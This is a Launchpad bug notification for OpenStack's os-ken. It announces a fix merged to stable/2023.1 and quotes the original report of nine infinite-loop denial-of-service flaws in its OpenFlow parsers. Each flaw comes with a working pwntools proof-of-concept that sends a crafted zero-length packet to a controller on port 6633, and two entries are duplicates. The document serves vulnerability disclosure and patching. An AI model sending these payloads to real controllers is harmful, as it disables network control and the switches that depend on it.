[Bug 2067973] Fix merged to os-ken (stable/2023.1)

OpenStack Infra 2067973 at bugs.launchpad.net
Wed Jun 26 14:40:04 UTC 2024


Reviewed:  https://review.opendev.org/c/openstack/os-ken/+/922801
Committed: https://opendev.org/openstack/os-ken/commit/6b427e4b5c457b86bd35d4580c88c1a42d3ac32a
Submitter: "Zuul (22348)"
Branch:    stable/2023.1

commit 6b427e4b5c457b86bd35d4580c88c1a42d3ac32a
Author: elajkat <lajos.katona at est.tech>
Date:   Thu Jun 6 12:34:03 2024 +0200

    Raise ValueError in case unpack_from returns zero length
    
    Closes-Bug: #2067973
    Closes-Bug: #2067970
    Change-Id: If3327be6c0a4c25173473fb8879d111544d77af5
    (cherry picked from commit 2f30f44406535991ec982608d04c8893b8fda9ad)

-- 
You received this bug notification because you are a member of Ubuntu
OpenStack, which is subscribed to python-os-ken in Ubuntu.
https://bugs.launchpad.net/bugs/2067973

Title:
  A series of infinite loop vulnerabilities in the os_ken

Status in DragonFlow:
  New
Status in neutron:
  Fix Released
Status in os-ryu:
  New
Status in OpenStack Security Advisory:
  Won't Fix
Status in python-os-ken package in Ubuntu:
  New

Bug description:
  Hello, We have recently discovered a series of infinite loop
  vulnerabilities in the component os_ken. Initially, our team found
  this issue in ryu and submitted several issues, but we realized that
  ryu has not been maintained for a long time. We later found out that
  the project is still being maintained and submitted this issue.

  We believe that this set of issues with os_ken as a component of the
  OpenFlow protocol could lead to a denial of service due to malicious
  attacks on controllers such as ryu and faucet, which are currently
  using the component, as well as other controllers based on the
  component.

  We believe that once the controller is attacked and enters a denial of
  service state, the switch will not function properly.

  Relevant details are given below:

  [1] OFPTableFeaturesStats parser

  ```python
          while rest:
              p, rest = OFPTableFeatureProp.parse(rest)
              props.append(p)
          table_features.properties = props
  ```
  The rest variable here is obtained through the following code:

  ```python
          (type_, length) = struct.unpack_from(cls._PACK_STR, buf, 0)
          rest = buf[utils.round_up(length, 8):]
  ```
  If the length variable is tampered with to 0, rest will get the original buffer, causing the controller to fall into an infinite loop.

  poc:
  ```python
  from pwn import *
  p=remote("0.0.0.0",6633)
  payload="\x04\x13\x00\x58\x00\x00\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x0000\x48\x01\x00\x00\x00\x00\x00\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00"
  p.send(payload)
  p.interactive()
  ```

  [2] OFPHello parser

  ```python
  class OFPHello(MsgBase):
  ...
      @classmethod
      def parser(cls, datapath, version, msg_type, msg_len, xid, buf):
          msg = super(OFPHello, cls).parser(datapath, version, msg_type,
                                            msg_len, xid, buf)

          offset = ofproto.OFP_HELLO_HEADER_SIZE
          elems = []
          while offset < msg.msg_len:
              type_, length = struct.unpack_from(
                  ofproto.OFP_HELLO_ELEM_HEADER_PACK_STR, msg.buf, offset)
              ...
              offset += length
          msg.elements = elems
          return msg
  ```

  If the variable length is equal to 0,the offset will no longer change
  and the parsing will fall into an infinite loop.

  poc:

  ```python
  from pwn import *
  p=remote("0.0.0.0",6633)
  payload="04000010000000130001000000000010"
  payload=bytes.fromhex(payload)
  p.send(payload)
  p.interactive()
  ```

  [3] OFPBucket parser

  ```python
  class OFPBucket(StringifyMixin):
      @classmethod
      def parser(cls, buf, offset):
          (len_, weight, watch_port, watch_group) = struct.unpack_from(
              ofproto.OFP_BUCKET_PACK_STR, buf, offset)
          ....
          while length < msg.len:
              action = OFPAction.parser(buf, offset)
              msg.actions.append(action)
              offset += action.len
              length += action.len
  ```

  If action.len=0,the offset and length will no longer change and the
  parsing will fall into an infinite loop.

  poc:

  ```python
  from pwn import *
  p=remote("0.0.0.0",6633)
  payload="\x04\x13\x00\x38\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x0000\x28\x00\x00\x00\x00\x00\x00\x00\x20\x00\x01\xff\xff\xff\xffff\xff\xff\xff\x00\x00\x00\x00\x00\x19\x00\x00\x80\x00\x08\x0600\x00\x00\x00\x00\x00\x00\x00"
  p.send(payload)
  p.interactive()
  ```

  [4] OFPGroupDescStats parser

  ```python
  class OFPGroupDescStats(StringifyMixin):
      @classmethod
      def parser(cls, buf, offset):
      ....
          while length < stats.length:
              bucket = OFPBucket.parser(buf, offset)
              stats.buckets.append(bucket)

              offset += bucket.len
              length += bucket.len
  ```

  If OFPBucket.len=0,the offset and length will no longer change and the
  parsing will fall into an infinite loop.

  poc:

  ```python
  from pwn import *
  p=remote("0.0.0.0",6633)
  brk=b"\x04\x13\x00\x38\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00"
  brk+=b"\x00\x28\x00\x00"
  brk+=b"\x00\x00\x00\x00"
  bucket="00000001ffffffffffffffff000000000000001000000001ffe5000000000000"
  brk+=bytes.fromhex(bucket)
  p.send(brk)
  p.interactive()
  ```

  [5] OFPFlowStats parser

  ```python
  class OFPFlowStats(StringifyMixin):
          while inst_length > 0:
              inst = OFPInstruction.parser(buf, offset)
              instructions.append(inst)
              offset += inst.len
              inst_length -= inst.len
  ```

  If inst.length =0,the offset will no longer change and the parsing
  will fall into an infinite loop.

  poc:

  ```python
  from pwn import *
  p=remote("0.0.0.0",6633)
  payload=b'\x04\x13\x010\x7f\xf9\xb1m\x00\x01\x00\x00\x00\x00\x00\x00\x00h\x00\x00\x00\x00\x00\x03\x06B,@\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\x00\x01\x00 \x80\x00\x00\x04\x00\x00\x00\x02\x80\x00\x08\x06\xd2\xfc:\xb8S\xf8\x80\x00\x06\x06\xce\x8f\xb2F\xcb[\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x01\xff\xe5\x00\x00\x00\x00\x00\x00\x00h\x00\x00\x00\x00\x00\x03\x06\x05#@\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00b\x00\x01\x00 \x80\x00\x00\x04\x00\x00\x00\x01\x80\x00\x08\x06\xce\x8f\xb2F\xcb[\x80\x00\x06\x06\xd2\xfc:\xb8S\xf8\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x02\xff\xe5\x00\x00\x00\x00\x00\x00\x00P\x00\x00\x00\x00\x00\x058\x81U\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x04@\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00'
  p.send(payload)
  p.interactive()
  ```

  [6] OFPMultipartReply parser

  ```python
  class OFPMultipartReply(MsgBase):
      _STATS_MSG_TYPES = {}
      ....
      @classmethod
      def parser(cls, datapath, version, msg_type, msg_len, xid, buf):
      ....
              while offset < msg_len:
                  b = stats_type_cls.cls_stats_body_cls.parser(msg.buf, offset)
                  body.append(b)
                  offset += b.length if hasattr(b, 'length') else b.len
      ....
  ```

  If b.length =0,the offset will no longer change and the parsing will
  fall into an infinite loop.

  poc:

  ```python
  from pwn import *
  p=remote("0.0.0.0",6633)
  payload="\x04\x13\x01\x30\x7f\xf9\xb1\x6d\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x06\x42\x2c\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\x00\x01\x00\x20\x80\x00\x00\x04\x00\x00\x00\x02\x80\x00\x08\x06\xd2\xfc\x3a\xb8\x53\xf8\x80\x00\x06\x06\xce\x8f\xb2\x46\xcb\x5b\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x01\xff\xe5\x00\x00\x00\x00\x00\x00\x00\x68\x00\x00\x00\x00\x00\x03\x06\x05\x23\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x62\x00\x01\x00\x20\x80\x00\x00\x04\x00\x00\x00\x01\x80\x00\x08\x06\xce\x8f\xb2\x46\xcb\x5b\x80\x00\x06\x06\xd2\xfc\x3a\xb8\x53\xf8\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x02\xff\xe5\x00\x00\x00\x00\x00\x00\x00\x50\x00\x00\x00\x00\x00\x05\x38\x81\x55\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x04\x40\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00"
  p.send(payload)
  p.interactive()
  ```

  [7] OFPMultipartReply parser

  ```python
  class OFPMultipartReply(MsgBase):
      _STATS_MSG_TYPES = {}
      ....
      @classmethod
      def parser(cls, datapath, version, msg_type, msg_len, xid, buf):
      ....
              while offset < msg_len:
                  b = stats_type_cls.cls_stats_body_cls.parser(msg.buf, offset)
                  body.append(b)
                  offset += b.length if hasattr(b, 'length') else b.len
      ....
  ```

  If b.length =0,the offset will no longer change and the parsing will
  fall into an infinite loop.

  poc:

  ```python
  from pwn import *
  p=remote("0.0.0.0",6633)
  payload="\x04\x13\x01\x30\x7f\xf9\xb1\x6d\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x06\x42\x2c\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\x00\x01\x00\x20\x80\x00\x00\x04\x00\x00\x00\x02\x80\x00\x08\x06\xd2\xfc\x3a\xb8\x53\xf8\x80\x00\x06\x06\xce\x8f\xb2\x46\xcb\x5b\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x01\xff\xe5\x00\x00\x00\x00\x00\x00\x00\x68\x00\x00\x00\x00\x00\x03\x06\x05\x23\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x62\x00\x01\x00\x20\x80\x00\x00\x04\x00\x00\x00\x01\x80\x00\x08\x06\xce\x8f\xb2\x46\xcb\x5b\x80\x00\x06\x06\xd2\xfc\x3a\xb8\x53\xf8\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x02\xff\xe5\x00\x00\x00\x00\x00\x00\x00\x50\x00\x00\x00\x00\x00\x05\x38\x81\x55\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x04\x40\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00"
  p.send(payload)
  p.interactive()
  ```

  [8] OFPFlowMod parser

  ```python
  class OFPFlowMod(MsgBase):
  ....
          while offset < msg_len:
              i = OFPInstruction.parser(buf, offset)
              instructions.append(i)
              offset += i.len
          msg.instructions = instructions
  ```

  If OFPInstruction.len=0 , the offset will no longer change and the
  parsing will fall into an infinite loop.

  poc:

  ```python
  from pwn import *
  p=remote("0.0.0.0",6633)
  payload=b"\x04\x0e\x00\x50\xd8\xbc\xde\xb7\x67\xf9\x0c\x3f\xfb\xa6\xdb\x87\x6f\x63\x34\xd0\xe1\x26\x43\x78\x5e\x01\x34\x0d\x32\xb4\xb3\xff\x8f\x99\xc0\xe9\x9e\x84\x70\x62\xc7\x4a\xbf\x01\xf3\xf0\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00"
  p.send(payload)
  p.interactive()
  ```

  [9] OFPPacketQueue parser

  ```python
  class OFPPacketQueue(StringifyMixin):
  ....
      @classmethod
      def parser(cls, buf, offset):
      ....
          while length < len_:
              queue_prop = OFPQueueProp.parser(buf, offset)
              if queue_prop is not None:
                  properties.append(queue_prop)
                  offset += queue_prop.len
                  length += queue_prop.len
          o = cls(queue_id, port, properties)
          o.len = len_
          return o
  ```

  If OFPQueueProp.len=0,the offset and length will no longer change and
  the parsing will fall into an infinite loop.

  poc:

  ```python
  from pwn import *
  p=remote("0.0.0.0",6633)
  payload="\x04\x17\x00\x50\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x72\x00\x00\x00\x73\x00\x40\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x02\x00\x10\x00\x00\x00\x00\x03\x84\x00\x00\x00\x00\x00\x00\xff\xff\x00\x10\x00\x00\x00\x00\x00\x00\x03\xe7\x00\x00\x00\x00"
  p.send(payload)
  p.interactive()
  ```

  Finally, I would like to ask if these vulnerabilities are able to get
  a corresponding CVE number?

To manage notifications about this bug go to:
https://bugs.launchpad.net/dragonflow/+bug/2067973/+subscriptions




More information about the Ubuntu-openstack-bugs mailing list